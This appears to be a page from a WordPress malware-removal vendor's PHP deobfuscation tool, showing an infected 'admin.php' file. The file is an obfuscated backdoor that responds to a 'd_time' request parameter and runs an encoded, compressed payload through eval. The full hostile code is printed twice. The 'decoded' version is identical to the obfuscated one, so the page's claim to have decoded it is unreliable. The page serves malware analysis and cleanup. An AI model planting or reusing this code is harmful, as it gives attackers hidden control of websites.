Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

text/x-generic admin.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators ) <?php $GLOBALS["jlhlebtolsskwxcjnbxaom__zlfu_szxg"] = "cAT3VWynuiL7CRgr"; $GLOBALS["hnaweqfklxheyhuiazzopvq"] = "_REQUEST"; $GLOBALS["rnih_gtweqddy_nz_jjewgd"] = "ewRyaO"; $GLOBALS["xaplkkeoygifv...



Obfuscated php code

text/x-generic admin.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators )
<?php 
$GLOBALS["jlhlebtolsskwxcjnbxaom__zlfu_szxg"] = "cAT3VWynuiL7CRgr";
$GLOBALS["hnaweqfklxheyhuiazzopvq"] = "_REQUEST";
$GLOBALS["rnih_gtweqddy_nz_jjewgd"] = "ewRyaO";
$GLOBALS["xaplkkeoygifvctksdmk_in"] = "i";
@set_time_limit(0);
@error_reporting(0);
$cAT3VWynuiL7CRgr = "7c703c76d1a6d63383a19e3a4d6f7895";
if (isset($_REQUEST['d_time'])) {
    die($cAT3VWynuiL7CRgr);
}
function lcYsA($ewRyaO)
{
    ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]} = gzinflate(base64_decode(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}));
    for (${$GLOBALS["xaplkkeoygifvctksdmk_in"]} = 0; ${$GLOBALS["xaplkkeoygifvctksdmk_in"]} < strlen(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}); ${$GLOBALS["xaplkkeoygifvctksdmk_in"]}++) {
        ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}[${$GLOBALS["xaplkkeoygifvctksdmk_in"]}] = chr(ord(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}[${$GLOBALS["xaplkkeoygifvctksdmk_in"]}]) - 1);
    }
    return ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]};
}
eval(lcYsA("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"));

Decoded(de-Obfuscated) php code

text/x-generic admin.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators )
<?php 
$GLOBALS["jlhlebtolsskwxcjnbxaom__zlfu_szxg"] = "cAT3VWynuiL7CRgr";
$GLOBALS["hnaweqfklxheyhuiazzopvq"] = "_REQUEST";
$GLOBALS["rnih_gtweqddy_nz_jjewgd"] = "ewRyaO";
$GLOBALS["xaplkkeoygifvctksdmk_in"] = "i";
@set_time_limit(0);
@error_reporting(0);
$cAT3VWynuiL7CRgr = "7c703c76d1a6d63383a19e3a4d6f7895";
if (isset($_REQUEST['d_time'])) {
    die($cAT3VWynuiL7CRgr);
}
function lcYsA($ewRyaO)
{
    ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]} = gzinflate(base64_decode(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}));
    for (${$GLOBALS["xaplkkeoygifvctksdmk_in"]} = 0; ${$GLOBALS["xaplkkeoygifvctksdmk_in"]} < strlen(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}); ${$GLOBALS["xaplkkeoygifvctksdmk_in"]}++) {
        ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}[${$GLOBALS["xaplkkeoygifvctksdmk_in"]}] = chr(ord(${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]}[${$GLOBALS["xaplkkeoygifvctksdmk_in"]}]) - 1);
    }
    return ${$GLOBALS["rnih_gtweqddy_nz_jjewgd"]};
}
eval(lcYsA("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"));

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.